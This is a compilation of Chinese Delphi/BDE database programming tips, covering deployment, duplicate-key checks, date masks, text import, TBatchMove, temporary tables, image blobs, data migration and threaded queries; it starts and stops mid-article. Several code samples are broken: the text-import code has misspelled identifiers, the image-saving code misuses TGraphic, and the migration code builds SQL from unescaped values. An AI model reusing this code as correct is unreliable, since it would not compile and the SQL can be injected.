VCLBDE50.BPL VCLDB50.BPL BANTAM.DLL (USA.BTL似乎可有可无)

3. ACCESS97 (用BDE连接)
IDDA3532.DLL EUROPE.BTL ODBC32.dll ODBCINT.dll
[注册表] (就是说要注册下面的两个地方,跟你机器上的一样就可以)
HKEY_LOCAL_MACHINE\Software\Borland\Database Engine\Settings\DRIVERS\MSACCESS
HKEY_LOCAL_MACHINE\Software\Borland\Database Engine\Settings\SYSTEM

以上文件均放在安装目录下.

4. 另人极其讨厌的DAO安装问题
DAO是专门为Access数据库服务的,又由于Office套件和Windows 9X,NT是一家的,
它们之间总有着千丝万屡的关系,所以针对于DAO的文件,特别是注册表中的设置更
是多得要命!要想将其研究明白真不是容易的事,我曾经在干净的Windows95下用
regsnap软件跟踪过DAO的安装,结果发现在注册表中新增和改动的地方多得吓人!
我想硬要将其搞明白,意义就不大了!

所以,用DAO的独立安装包是目前的上策,有的朋友说另做一个程序让用户选择
是否安装DAO,我看也不错.

DAO35.EXE和DAO36.EXE在此处下载:http://www.finalfiler.com/
(3.071KB) (4.444KB)

按照上述4点就可以制作安装程序了,至于用什么工具,随便!
首先,BDE的安装可以说是很精练了;其次,由于大部分文件都安装在"安装目录"下,
所以反安装时可以全部删掉,不用担心是否与别的程序共享某些文件;再有,不必设
置讨厌的别名,什么IDAPI.CFG一概不用管,全在程序里.


控制关键字段的重复输入

下面以一个实例来说明：在 ‘c:\’ 下有一个数据库‘Renshi.dbf’，字段为：‘bianhao’；‘xingming’，类型为字符型，以关键字段‘bianhao’为索引字段，建立数据库的连接。

我们用控件DBNavigator1、DataSource1、Table1、DBedit1、
DBedit2、Table2来建立数据库的连接。其各属性为：
Table1.databasename:='c:\';
Table1.tablename:='renshi.dbf';
Table1.active:=true;
DataSource1.dataset:=table1;
DBNavigator1.datasource:=DataSource1;

编号：对应字段bianhaio; 姓名：对应xingming字段；
dbedit1.datasource:=DataSource1;
dbedit1.datafield:='bianhao';
dbedit2.datasource:=DataSource1;
dbedit2.datafield:='xingming';

这样数据库的连接就建立好了。

这里我们要求‘编号’为关键字段，不允许重复输入，为了控制输入的编号为唯一，我们在数据库变化时对Table1加入一个Beforepost事件，程序如下：
procedure TForm1.Table1BeforePost(DataSet: TDataSet);
begin
with table2 do
begin
databasename:='c:\';
tablename:='renshi.dbf';
indexfieldnames:='bianhao';
if not active then open; {判断数据库是否打开}
Refresh; {刷新数据库}
setkey; {设置数据库为搜索状态}
fieldbyname('bianhao').asstring:=dbedit1.text; {设置输入的编号 字段内容为搜索的标准}
gotokey; {移动到搜寻的记录上，完成搜索}
if gotokey then {如果找到搜索的记录，则gotokey返回true}
begin
showmessage('输入的编号已存在！请重新输入');
abort; {终止该操作}
end;
end;
end;

这样，就保证了‘编号’字段的唯一性，当重复输入时，计算机就会提示出错信息，并且该数据不能保存，只能进行修改或放弃保存操作。


设定TField为空值

 YourField.clear;


处理数据库日期型字段的显示与输入

---- 在使用Delphi进行数据库设计时，不可避免的会涉及到日期型字段的输入问题。不过与Microsoft的Access 97中文版等相比，Delphi本身提供的日期型字段的显示和输入方式并不适合中国人的习惯。因此对于日期型字段的处理，大家提出了不少解决方法，但是处理结果在显示和输入上并不统一，例如显示时可以实现“yyyy年mm月dd日”的格式，但是在输入时还是要按照国外的习惯用“yyyy-mm-dd”的形式进行输入；而使用TdateTimePicker进行选择输入总嫌麻烦；有些方法还要修改系统的一些设置属性，因而在进行软件发布时要将系统的属性进行调整；采用第三方控件的方式则还要将控件打包发布。而且对于常用到的“1999年”、“1999年11月”等日期格式，没有进行相应的处理。这里我根据自己的实践，利用TField的OnGetText和OnSetText两个事件的结合，以期达到日期型字段的显示和输入的统一，并可以处理我们常见的“1999年”、“1999年11月”等日期形式的显示和输入，全部利用Delphi提供的事件实现，不需要修改任何系统设置。进行相应的扩展后，还可以用于时间的显示和输入，如“hh点mm分”等。同时，由于是直接控制TField的事件，所以不论使用TDBGrid还是用TDBEdit，都可以正常的进行统一处理，而不必分开考虑。采用类似的方法，还可以应用于非数据库应用程序中的日期输入。

---- 1 基本思想

---- 利用TField的EditMask属性，将其同时作为显示和输入的掩码，在TField的OnGetText事件中处理日期字段的显示，而在OnSetText事件中处理输入值的有效性判断。为了重复利用代码，将OnGetText和OnSetText的事件处理过程调用的过程和函数放到一个独立的单元中。

---- 2 具体实现代码

{显示和判断单元}
unit DBDateEditMaskTrans;
interface
uses
Windows, SysUtils, Controls, Forms,Db;

{日期型字段显示过程,在OnGetText事件中调用}
procedure DateFieldGetText(Sender: TField;
var Text: String);

{日期型字段输入判断函数,在OnSetText事件中调用}
function DateFieldSetText(Sender: TField;
const Text: String):Boolean;

implementation

procedure DateFieldGetText(Sender: TField;
var Text:
String);
var
dDate:TDate;
wYear,wMonth,wDay:Word;
aryTestYMD:Array [1..2] of
Char
;{测试输入掩码用临时数组}
iYMD:Integer;
begin
dDate:=Sender.AsDateTime;
DecodeDate(dDate,wYear,wMonth,wDay);

{测试输入掩码所包含的格式.}
aryTestYMD:='年';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=1;
aryTestYMD:='月';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=2;
aryTestYMD:='日';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=3;

  case iYMD of
1:{输入掩码为:”yyyy年”的格式.}
Text:=IntToStr(wYear)+'年';
2:
{输入掩码为:”yyyy年mm月”的格式.}
Text:=IntToStr(wYear)+'年'+IntToStr(wMonth)+'月';
3:
{输入掩码为:”yyyy年mm月dd日”的格式.}
Text:=IntToStr(wYear)+'年'+IntToStr(wMonth)+'月'
+IntToStr(wDay)+'日';
else
{默认为:”yyyy年mm月dd日”的格式.}
Text:=IntToStr(wYear)+'年'+IntToStr(wMonth)+'月'
+IntToStr(wDay)+'日';
end;

end;

function DateFieldSetText(Sender: TField;
const Text:
String):Boolean;
var
dDate:TDate;
sYear,sMonth,sDay:String;
aryTestYMD:Array [1..2] of Char;
iYMD:Integer;
begin
{获得用户输入的日期}
sYear:=Copy(Text,1,4);
sMonth:=Copy(Text,7,2);
SDay:=Copy(Text,11,2);

{测试输入掩码所包含的格式.}
aryTestYMD:='年';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=1;
aryTestYMD:='月';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=2;
aryTestYMD:='日';
if StrScan(PChar(Sender.EditMask),
aryTestYMD[1])< >nil then
iYMD:=3;

  {利用Try…Except进行输入的日期转换}
try
begin
case iYMD
of
1:
{输入掩码为:”yyyy年”的格式.}
begin
dDate:=StrToDate(sYear+'-01-01')
;{中文Windows默认的日期格式为:yyyy-mm-dd.下同}
Sender.AsDateTime:=dDate;
end;
2:
{输入掩码为:”yyyy年mm月”的格式.}
begin
dDate:=StrToDate(sYear+'-'+sMonth+'-01');
Sender.AsDateTime:=dDate;
end;
3:
{输入掩码为:”yyyy年mm月dd日”的格式.}
begin
dDate:=StrToDate(sYear+'-'+sMonth+'-'+sDay);
Sender.AsDateTime:=dDate;
end;
else
{默认为:”yyyy年mm月dd日”的格式.}
begin
dDate:=StrToDate(sYear+'-'+sMonth+'-'+sDay);
Sender.AsDateTime:=dDate;
end;
end;
DateFieldSetText:=True;
end;
except
{日期转换出错}
begin
Application.MessageBox(PChar(Text+'不是有效的日期!'),
'错误',mb_Ok+mb_IconError);
DateFieldSetText:=False;
end;
end;

end;

end.

{主窗口单元}
unit Main;

interface

uses
……{略去其他内容}
procedure Table1BirthdayGetText(Sender: TField;
var Text: String;DisplayText: Boolean);
procedure Table1BirthdaySetText(Sender: TField;
const Text: String);
private
{ Private declarations }
public
{ Public declarations }
……{略}
implementation

{将自定义的单元包含进来}
uses DBDateEditMaskTrans;

{$R *.DFM}
……{其他过程略}
procedure TForm1.FormActivate(Sender:
TObject);
{设置一个日期型字段的输入掩码，
可以放到TField字段定义中。}
begin
Table1.FieldByName('Birthday').EditMask:=
'9999\年99\月99\日;1;_';
end;

procedure TForm1.Table1BirthdayGetText(Sender:
TField; var Text: String;DisplayText: Boolean);
begin
DateFieldGetText(Sender,Text);
end;

procedure TForm1.Table1BirthdaySetText(Sender:
TField; const Text: String);
begin
if DateFieldSetText(Sender,Text)=False then
Abort; {转换不成功,日期非法}
end;

end.


将纯文本资料转入数据库

在我们日常工作中,常会碰到这样一个难题：一大堆收集好的纯文本格式,比较规整的资料怎样才能将它们分离,转到自己已经建好的数据库中进行管理呢？

    例如,有一段人事档案资料archive.txt,内容如下：
    小许男21工程师
    小吴女23助理工程师
    小蔡男22助理工程师
    小牟女22工程师

    要将它转入数据库archive.dbf中,archive.dbf结构如下：
    姓名,性别,年龄,职称

    怎么办呢？现在通过使用delphi编程,很好地解决了这个难题。Delphi提供了许多功能强大,丰富的字符处理函数和过程,常用的有：
    (1)function Length(S：String)：Integer　 　／／返回串的长度
    (2)function Copy(S：String;Index,Count：Integer)：String ／／给出一个字符串中串的拷贝
    (3)function Pos(Substr：String;S：String);Integer ／／查找子串在字符串中的位置
    (4)Procedure Delete(VarS：String;Index,Count：Integer); 　／／从一个字符串中去除子串

    利用Delphi提供的已有函数和过程基础上编制自己的三个函数,实现了纯文本格式资料转入数据库功能。只要Delphi支持的数据库都可以支持。

    archive.txt中每行数据为一个字符串,字符串中每个被分割的数据为一个字段,分割每个字段的字符为分割符,这里是空格,也可以是,、;、＃等符号。具体思想是：先将字符串进行调整,然后把串中每个字符同分割符比较,将不是分割符的字符追加到MyStr串中,最后得到
一个字段的内容。通过一个循环,就可以将一个字符串分成几个字段。

    Function Regulate(aString,Sepchar：string)：string 　　／／去掉多余的分割符,规范字符串
    Function GetSubStr(varsString：string;SepChar：String)：String; 　//得到字符串中一个子串,因要改变参数aString的值,所以将它用var定义。
    FunctionGetSubStrNum(aString,SepChar：String)：Integer;　　／／计算一个字符串要被分割成几个字段。
    参数：aString是所需分割的一个字符串,SepChar是分割符。

    Function RegulateStr(aString：String;Sepchar：String)：String;
var
i,Num：Integer;
Flag：Boolean;
MyStr,TempStr：String;
begin
Flag:=False;／／进行标志,去除多余的分割符
Num:=Length(aString);／／计算aString串的长度
for i:=1 to Num do
begin
TempStr:=Copy(aString,i,1);／／取aString串中的一字符
if TempStr
<> SepChar then
begin
MyStr:=MyStr+TempStr;
Flag:=True;
end
else
if(Flag =
True)then
begin
Mystr:=Mystr+TempSrt;
Flag:=False;
end;
end;
if  MyStr[Length(MyStr)] <> SepChar
then
MyStr:=MyStr+SepChar;
RegulateSrt:=MyStr;
end;

    Function GetSubStr(var
aString：String,SepChar：Strign)：String;
var
Mysrt：String;
StrLen：Integer;
SepCharPso：Integer;
begin
StrLen:=Length(aString);
SepCharPos:=Pos(SepChar,aString);／／计算分割符在子串中的位置
MyStr:=Copy(aString,1,SepCharPos－1); ／／将分割符前所有字符放到mystr串中
Delete(aString,1,SepCharPos);／／除去分割符和分割符前的子串
GetSubStr:=MyStr;／／返回一个字段
end;

    FunctionTforml.GetSubStrNum(aString：String;SepChar：String)：Integer;
var
i：Integer;
StrLen：Integer;
Num：Integer;
begin
StrLen:=Length(aString);
Num:=0;
for i:=1 to StrLen do
if
Copy(aString,i,1) = SepCharthen
Num:=Num+1;
GetSubSrtNum:=Num;
end;

    有了上面三个函数,现在介绍一下具体的应用：
    1.首先建立一个窗体Forml,加入一个RichEditl(或Menol),一个按钮Buttonl和一个Tablel,设置Tablel的属性：
    Tablell.DataBase = 'c:\Archivs'
    Tablell.TableName ='Archive.dbf'

    2.分别加入以下程序：
    Const Space= ''
    ProcedureTForml.FormCreate(Sender：Tobject);
    begin
    RichRditl.Lines.LoadFromFile('Archive.txt');
    end;

    ProcedureTForml.Button1Click(Sender：Tobject);
var
i,j：Integer;
MyLine：String;
begin
with
Tablel do
begin
Open;
for i:=0 to
RichEditl.Lines.Count－1 do
begin
MyLine:=RegulateStr(Richeditl.Lines[i],Space);
for j:=1 to Num do
begin
Append;
fileds[j－1].aString:=GetSubSrt(MyLine,Space));
post;
end;
end;
end;
end;


利用TBatchMove组件完成数据批处理

在 数 据 库 应 用 系 统 中， 常 常 要 对 数 据 进 行 成 批 的 如 追 加、 删 除、 更 改 等 操 作， 这 种 批 量 操 作 在 专 门 的 数 据 库 开 发 工 具 如VFP 中 用APPEND 、COPY 命 令 带 上 相 应 的 命 令 子 句 就 能 轻 易 完 成。 但 在 其 它 开 发 工 具 中 并 没 有 类 似 的 命 令， 而 是 提 供 能 完 成 类 似 功 能 的 控 件 或 对 象， 如 在PowerBuilder 中 就 是 利 用Pipe Line（ 数 据 管 道） 来 完 成 两 个 或 同 构 或 不 同 构 的 表 之 间 的 数 据 批 处 理。 本 文 要 介 绍 的 是Delphi 中 用 来 完 成 数 据 批 处 理 任 务 的 组 件TBatchMove。TBatchMove 组 件 能 够：
（1）将 一 个 数 据 集 中 的 数 据 追 加 到 一 个 表 中。.
（2）从 一 个 表 中 删 除 满 足 条 件 的 记 录。
（3）按 旧 表 结 构 生 成 一 个 新 表， 若 欲 生 成 的 新 表 已 存 在， 则 覆 盖。

具 体 的 操 作 要 通 过 设 置TBatchMove 的Mode 属 性 后 再 调 用Execute 方 法 来 完 成。 为 举 例 说 明 问 题， 我 们 在 别 名 数 据 库DBDEMOS 中 先 创 建 两 个dBase 格 式 的 表Test1.dbf 和Test2.dbf。 二 者 的 结 构 如 下 表：
Test1.dbf Test2.dbf
Name C 10 Name C 10
Code C 3 Code C 3

其 中 表Test2.dbf 在 字 段code 上 建 立 有 唯 一 索 引。 同 时 假 设 表 单 中 已 有 两 个TABLE 控 件Tsource 和Tdest 和 一 个TbatchMove 组 件batchmove1。Tsource 和Tdest 的DatabaseName 属 性 均 设 为DBDEMOS。batchmove1 的source 属 性 设 为Tsource，destination 属 性 设 为Tdest。

     在 使 用TbatchMove 组 件 时， 必 须 牢 记： 所 有 的 操 作 都 是 以 源 表
为 标 准 针 对 目 的 表 进 行 的， 下 面 就 分 别 举 例 说 明TbatchMove 的 各 种 操 作 模 式：
（1）batAppend 追 加 模 式 将 源 表 中 的 数 据 追 加 到 目 的 表 中， 目 的 表 必
须 事 先 存 在。 这 是 缺 省 模 式。
batchmove1.source=Tsource;
batchmove1.destination=Tdest2 ;
batchmove1.Mode:=batAppend;
batchmove1.Execute;
（2）batUpdate 更 新 模 式 用 源 表 中 匹 配 目 的 表 的 记 录 替 换 目 的 表 中
的 相 应 记 录。 目 的 表 必 须 事 先 存 在 且 有 一 已 定 义 的 索 引 用 来 匹 配 源 表 中 的 记 录。
Tdest.IndexFieldNames:='code';
batchmove1.source=Tsource;
batchmove1.destination=Tdest ;
batchmove1.Mode:=batUpdate;
batchmove1.Execute;
（3）batAppendUpdate 追 加 更 新 模 式 如 果 源
表 中 有 与 目 的 表 匹 配 的 记 录， 则 替 换 目 的 表 记 录， 否 则， 直 接 追 加 到 目 的 表 中。 目 的 表 必 须 事 先
存 在 且 有 一 已 定 义 的 索 引 用 来 匹 配 源 表 中 的 记 录。
Tdest.IndexFieldNames:='code';
batchmove1.source=Tsource;
batchmove1.destination=Tdest ;
batchmove1.Mode:=batAppendUpdate;
batchmove1.Execute;
（4）batCopy 拷 贝 模 式 按 源 表 结 构 生 成 新 表， 源 表 中 的 数 据 同 时 拷 贝
到 目 的 新 表 中。 如 果 要 生 成 的 新 表 已 存 在， 则 覆 盖。
// 按Test1.dbf 生 成 新 表xxx.dbf
// 如 果 不 指 定 扩 展 名dbf， 生 成 的 新 表 将 是Paradox 格 式 的xxx.db。
Tdest.TableName:='xxx.dbf';
batchmove1.source=Tsource;
batchmove1.destination=Tdest ;
batchmove1.Mode:=batCopy;
batchmove1.Execute;
（5）batDelete 删 除 模 式 删 除 目 的 表 中 与 源
表 匹 配 的 记 录。 目 的 表 必 须 事 先 存 在 且 有 一 已 定 义 的 索 引 用 来 匹 配 源 表 中 的 记 录。
Tdest.IndexFieldNames:='code';
batchmove1.source=Tsource;
batchmove1.destination=Tdest ;
batchmove1.Mode:=batDelete;
batchmove1.Execute;

TBatchMove 还 有 一 个 重 要 属 性ChangedTableName， 在 实 际 运 用 中， 通 过 指 定ChangedTableName 属 性 可 以 创 建 一 个Paradox 表， 该 表 用 来 保 存 目 的 表 中 被 更 改 数 据 的 原 始 备 份， 有 了 这 个 备 份 表 就 可 以 确 保 恢 复 目 的 表 中 的 数 据。

顺 便 提 一 句， 如 果 要 删 除 某 一 个 表 中 的 全 部 记 录， 可 以 采 用Table 组 件 的EmptyTable 方 法， 例 如Tdest.EmptyTable 将 清 空Tdest 所 指 定 的 表test2.dbf。

本 文 中 是 以 同 构 的dbf 表 进 行 的 示 例， 在 实 际 运 用 中， 源 表 和 目 的 表 可 能 同 购， 也 可 能 异 构， 异 构 时，Delphi 的BDE 会 自 动 进 行 类 型 和 长 度 上 的 转 换， 具 体 类 型 间 的 关 系 可 以 有 关BDE 的 帮 助。 本 文 中 各 种 操 作 模 式 的 实 际 结 果 均 可 以 从Delphi 的Database Desktop 中 查 看 到。


开发数据库程序经验三则

1.建立临时表
    数据输入是开发数据库程序的必然环节。在Client/Server结构中，客户端可能要输入一批数据后，再向服务器的后台数据库提交，这就需要在本地（客户端）建立临时数据表来存储用户输入的数据，待提交后，清除本地表数据。这种方法的好处是：提高输入效率，减小网络负担。

    由于用户一次输入的数据量一般情况下较小（不会超过几百条记录），所以临时表可以建立在内存中，这样处理速度较快。
    方法1：使用查询控件(TQuery)
    第1步：在窗体上放上查询控件(TQuery)，设置好所连接的数据表。
    第2步：使TQuery. CachedUpdates=True;
     TQuery. RequestLive=True
    第3步：在原有的SQL语句后加入一条Where子语句，要求加入这条Where子语句后SQL查询结果为空。
    例如：
    SELECT Biolife.″Species No″, Category, Common_Name, Biolife.″Species Name″, Biolife.″Length (cm)″, Length_In, Notes, Graphic
     FROM ″biolife.db″ Biolife
    where Biolife.Category=′A′ and Biolife.Category=′B′
    这样临时表就建立完成了。

    方法2：使用代码创建临时表
    代码如下：
    function CreateTableInMemory(const AFieldDefs:TFieldDefs):TDataSet;
    var
TempTable:TClientDataSet;
    begin
     TempTable:=nil;
     Result:=nil;
     if AFieldDefs<>nil then
     begin
     try
     TempTable:=TClientDataSet.Create(Application);
     TempTable.FieldDefs.Assign(AFieldDefs);
     TempTable.CreateDataSet;
     Result:=(TempTable as TDataSet);
     Except
     if TempTable<>nil then
TempTable.Free;

   Result:=nil;
     raise;
      end
end
  end;

    在程序中按如下方法使用：
    procedure TForm1.Button1Click(Sender: TObject);
    var
ADataSet:TDataSet;
    begin
     ADataSet:=TDataSet.Create(Self);
     with ADataSet.FieldDefs do
     begin
     Add(′Name′,ftString,30,False);
     Add(′Value′,ftInteger,0,False);
     end;

     with DataSource1 do
     begin
     DataSet:=CreateTableInMemory(ADataSet.FieldDefs);
     DataSet.Open;
     end;

     ADataSet.Free;
    end;

    临时表创建完成。

    方法1使用简单，但由于利用查询控件，清空数据时需要查询服务器后台数据库，所以速度稍慢，而且不适用于临时表中各个字段由数个数据表的字段拼凑而成的情况。方法2适用范围广、速度快，但需要编写代码。（代码中TFieldDefs的使用方法十分简单，见Delphi的联机帮助）。

2.配置数据引擎（BDE、SQL Link）
    有关数据库程序分发时，需要携带数据引擎（BDE、SQL Link），并且在客户端安装完程序后还需要配置数据引擎，如用户名（username）、密码（Password）等等。如果手工配置的话，工作量比较大（根据客户机数量而定）。而InstallShield For Delphi又好像没有这方面的选项，其实InstallShield For Delphi可以做到，在生成安装程序的目录里有一个＊.iwz的文本文件，只要在[IDAPI Alias]片段中手工加入即可。 例如：
     [IDAPI Alias]
     usesname=SYSDBA
     password=masterkey
    安装程序后数据引擎自动配置完毕。

3.在InterBase数据库中使用函数
    程序员可能在用InterBase作为后台数据库时，会为其提供的函数过少而感到不方便（只有四个），无法方便地编写出复杂的存储过程。InterBase本身无法编写函数，但它可以使用外部函数（调用DLL中的函数）。下例中说明如何在InterBase 中声明SUBSTR函数。
    DECLARE EXTERNAL FUNCTION SUBSTR
     CSTRING(80), SMALLINT, SMALLINT
     RETURNS CSTRING(80)
     ENTRY_POINT ″IB_UDF_substr″ MODULE_NAME ″ib_udf″

    其中：MODULE_NAME为DLL的名称，ENTRY_POINT为函数名。
    声明后便可以使用，例如：
   select SUBSTR(country)
     from country

    本例使用的是Delphi安装时自带的IBLocal数据库。用户也可以自己编写函数来扩充InterBase。


据库应用程序开发中图像数据的存取技术

Delphi提供了数据访问(DataAccess)和数据控制(DataControls)的可视化控件，能够方便快捷地产生具有良好界面且功能强大的数据库应用程序。对于涉及图像数据(含Graphic字段)的数据库应用程序，如人事管理信息系统等，图像数据的存取技术是一个关键。然而，有关Delphi下图象的存取，特别是图像的保存方面的技术各种资料上很少提及。下面，笔者结合一个简单的例子来说明。

一、图像数据的保存
    1.创建一个含有Graphic字段的数据库列表。
    在WindowsISQ(或Databasedesktop)下create database mydb.gdb
    create table myfrieds
    (name varchar(15) notnull，
telephone varchar(12)，
address varchar(30)，
zipvarchar(8)，
picture varchar(15)，
image blob);

    其中，picture字段用于保存图像的名称(包括路径)，image(Graphic字符)则用于存储图像，其数据类型
为“blob”。

    2.建立窗体(如图1所示)，设置窗体中各控件的属性。

    该窗体的主要功能是将某人信息进行编辑和保存。需要注意的图像保存所用的图像框必须用TImage而不能用TDBImage，编辑框宜用Tedit而不宜用TDBEdit，这一点与图像的读取恰好相反。

    其中，各主要控件的属性设置如下:
    Datasource1.Dataset:=table1;
    Table1.Databasename:=mydb.gdb;
    Table1.Tablename:=myfriends;
    Table1.active:=true;
    其他诸如Caption之类的属性设置不再叙述。

    3.数据处理程序的建立。
    (1)图像( .bmp文件)打开的处理。
    procedureTForm1.pictopenbtnClick(Sender:TObject);
    begin
opendialog1.execute;
  image1.picture.loadfromfile(opendialog1.filename);
    end;

    (2)图像保存的处理。
    图像保存的处理程序完成把在窗体1所编辑的信息包括图像保存到相应的数据库中，其关键是要定义一个Graphic类型的变量且该变量要用Assign()函数传递到相应数据库中保存。具体程序如下:
    procedureTform1.Savebtnclick(sender:TObject);
    var
graphic1:TGraphic;
    begin
graphic1:=TGraphic.Create;
  graphic1.loadfromfile(opendialog1.filename);
    table1.insert;
    table1.fieldbyname('name').asstring:=edit1.text;
    table1.fieldbyname('telephon').asstring:=edit2.text;
    table1.fieldbyname('address').asfloat:=edit3.text;
    table1.fieldbyname('zip').asfloat:=edit4.text;
    table1.fields[4].assign(graphic1);
    table1.post;
    graphic1.free;
    end;

二、图像数据的读取
    在数据库数据(包括Graphic字段的数据)的读取和浏览方面，Delphi这一具有强大代码自动生成功能的面向对象的开发工具的优越性得到淋漓尽致的体现。毫不夸张地说，不需要一条语句即可完成这一功能！

    建立窗体(如下图所示)，设置各控件的属性。

    图中Table1和Datasource1的属性的设置与数据的保存部分(图1)相同，所不同的是数据库数据的读取时用TDBEdit和TDBImage控件而不用TEdit和TImage。控件TDBEdit和TDBImage只要将datafield属性设置为其相对应的域;TDBNavigator的datasouce属性设置为datasource1即可。


实现不同数据库系统之间的数据转移

---- 在 计 算 机 应 用 系 统 的 软 件 升 级 改 造 过 程 中， 我 们 经 常 遇 到 这 样 一 个 问 题： 老 系 统 的 数 据 库 平 台 与 新 系 统 不 同。 例 如， 老 系 统 的 数 据 库 平 台 是Foxpro， 而 新 系 统 的 平 台 是SQL Server。 而 且， 我 们 需 要 把 旧 的 数 据 库 应 用 系 统 中 的 一 些 数 据 转 移 到 新 系 统 来。 但 是 因 为 新 老 系 统 在 定 义 数 据 类 型、 数 据 格 式 等 方 面 的 差 异， 就 很 难 用 人 工 录 入 的 方 法 来 实 现。 因 此， 需 要 有 一 个 能 实 现 这 种 功 能 的 程 序。

---- 本 文 利 用Borland Delphi 实 现 了 这 个 转 移 过 程。

---- 基 本 思 想 是： 在 一 个Form 中， 分 别 用 两 个TDatabase 控 件 连 接 新 老 数 据 库。 并 采 用 TTable、TDbGrid 作 为 数 据 转 移 的 中 心， 根 据DbGrid 中 的 数 据 生 成 标 准 的SQL 插 入 语 句。 这 样， 就 实 现 了 从 一 个 数 据 库 系 统 到 另 一 个 数 据 库 系 统 的 数 据 转 移。 在 这 里， 采 用TTable、TDbGrid 作 为 数 据 转 移 的 中 心 是 一 个 技 巧， 因 为：TTable 的Fields 属 性 能 指 示 出 某 字 段 的 字 段 名 称、 数 据 类 型 等， 这 为 数 据 转 移 过 程 中 的Insert 语 句 的 生 成 及 数 据 类 型 转 换 提 供 了 依 据。

---- 下 面 的 例 子 展 示 了 从Foxpro 到SQL Server 的 数 据 转 移 方 法。 至 于 其 他 系 统 间 的 数 据 转 移， 只 要 根 据 目 标 系 统 的 数 据 定 义 要 求， 修 改 相 应 的Insert 语 句。

---- 程 序 代 码 如 下：

unit ConvertDBF;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
StdCtrls, DBTables, Db, Grids, DBGrids;

type
TfrmConvertDB = class(TForm)
btnOK:
TButton;
Label1: TLabel;
db1: TDatabase;
{用于连接老数据库系统}
db2: TDatabase;  {用于连接新数据库系统}
dbg:
TDBGrid;
tblSource: TTable; {dbg的Datasource}
qryInsert:
TQuery;
{用于存放生成的SQL Insert语句}
srcSource:
TDataSource;
tblDest: TTable; {DBGrid1的Datasource}
DBGrid1:
TDBGrid;
srcDest: TDataSource;
edFromtbl: TEdit;
Label2: TLabel;
Label3: TLabel;
edToTbl: TEdit;
procedure btnOKClick(Sender: TObject);
private
{ Private
declarations }
public
{ Public declarations
}
end;

var
frmConvertDB: TfrmConvertDB;

implementation

{$R *.DFM}
procedure TfrmConvertDB.btnOKClick
(Sender: TObject);
var iField :integer;
begin
if ((edTotbl.text<>'') and
(edFromtbl.text<>''))then begin
tblSource.TableName:=edFromtbl.text;
{指定TableName}
tblDest.TableName:=edTotbl.text;
with tblSource do begin
Open; {打开老系统的表}
while EOF=FALSE do begin
{逐条记录处理}
qryInsert.SQL.Clear;
qryInsert.sql.Add
('Insert into '+edTotbl.text + '(');
for iField:=0 to dbg.FieldCount-1 do begin
qryInsert.sql.add
(dbg.Fields[iField].DisplayLabel);
if iField<>dbg.FieldCount-1 then
qryInsert.sql.add(',');
end;
qryInsert.sql.add(') values(');
for iField:=0 to dbg.FieldCount-1 do begin
{进行数据类型转换}
if dbg.fields[iField].DataType=ftInteger then
qryInsert.sql.add(inttostr
(dbg.fields[iField].asInteger));
if dbg.fields[iField].DataType=ftFloat then
qryInsert.sql.add(floattostr
(dbg.fields[iField].asFloat));
if dbg.fields[iField].DataType=ftDate then
qryInsert.sql.add(''''+datetostr
(dbg.fields[iField].asDateTime)+'''');
if dbg.fields[iField].DataType=ftString then begin
if dbg.fields[iField].asString<>'' then
qryInsert.sql.add(''''+dbg.fields
[iField].asString+'''')
else
qryInsert.sql.add('NULL');
end;
if iField<>dbg.FieldCount-1
then qryInsert.sql.add(',');
end;
qryInsert.sql.add(')');
qryInsert.ExecSQL;
{把数据插入到新系统的表中}
next;
end;
end;
tblDest.Close;
tblDest.Open;;
ShowMessage(' 转换完毕！ ');
end
else
ShowMessage
('请输入要插入数据的表的名称 ');
end;
end.


多线程执行数据库查询

Two requirements must be met in order to perform a threaded
query. First, the query to be threaded must be contained
within its own session by using a separate TSession
component. Therefore, you would place a TSession component
on your form and assign it's name to the SessonName property
of the TQuery component to be used in the thread. You must

use a separate TSession component for each TQuery component
to be used in a thread. If you are also using a TDataBase
component, a separate TDataBase must be used for each
threaded query as well. The second requirement is that the
threaded TQuery component must not be connected to a
TDataSource in the context of the thread in which it will be
executed. This must be done in the context of the primary
thread.

The code example below illustrates this process. This unit

shows a form which contains two each of the following
comopnents: TSession, TDatabase, TQuery, TDataSource and
TDBGrid. These components have the following property
settings:

Session1
Active True;
SessionName "Ses1"

DataBase1
AliasName "IBLOCAL"
DatabaseName "DB1"
SessionName "Ses1"

Query1
DataBaseName "DB1"
SessionName "Ses1"
SQL.Strings "Select * from employee"

DataSource1
DataSet ""

DBGrid1
DataSource DataSource1

Session2
Active True;
SessionName "Ses2"

DataBase2
AliasName "IBLOCAL"
DatabaseName "DB2"
SessionName "Ses2"

Query2
DataBaseName "DB2"
SessionName "Ses2"
SQL.Strings "Select * from customer"

DataSource2
DataSet ""

DBGrid1
DataSource DataSource2

Notice that the DataSet property for both TDataSource
components do not refer to anything initially. This will be
set at run-time as illustrated in the code.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs,
StdCtrls, Grids, DBGrids, DB, DBTables;

type

  TForm1 = class(TForm)
Session1:
TSession;
Session2: TSession;
Database1: TDatabase;
Database2:
TDatabase;
Query1: TQuery;
Query2:
TQuery;
DataSource1: TDataSource;
DataSource2: TDataSource;
DBGrid1:
TDBGrid;
DBGrid2: TDBGrid;
GoBtn1:
TButton;
procedure GoBtn1Click(Sender: TObject);

end;

  TQueryThread = class(TThread)
private
FSession: TSession;
FDatabase:
TDataBase;
FQuery: TQuery;
FDatasource: TDatasource;
FQueryException:
Exception;
procedure ConnectDataSource;
procedure ShowQryError;
protected
procedure Execute; override;
public
constructor Create(Session: TSession;
DataBase:
TDatabase; Query: TQuery;
DataSource: TDataSource);
virtual;
end;

var
Form1: TForm1;

implementation

constructor TQueryThread.Create(Session: TSession; DataBase:
TDatabase; Query: TQuery; Datasource: TDataSource);
begin
inherited Create(True); // Create thread in a
suspendend state
FSession := Session; // connect all private fields
FDatabase := DataBase;
FQuery := Query;
FDataSource := Datasource;
FreeOnTerminate := True; // Have thread object free
itself when terminated
Resume; // Resume thread execution

end;

procedure TQueryThread.Execute;
begin
try
{ Run the query and connect the datasource to the TQuery
component by calling ConnectDataSource from main
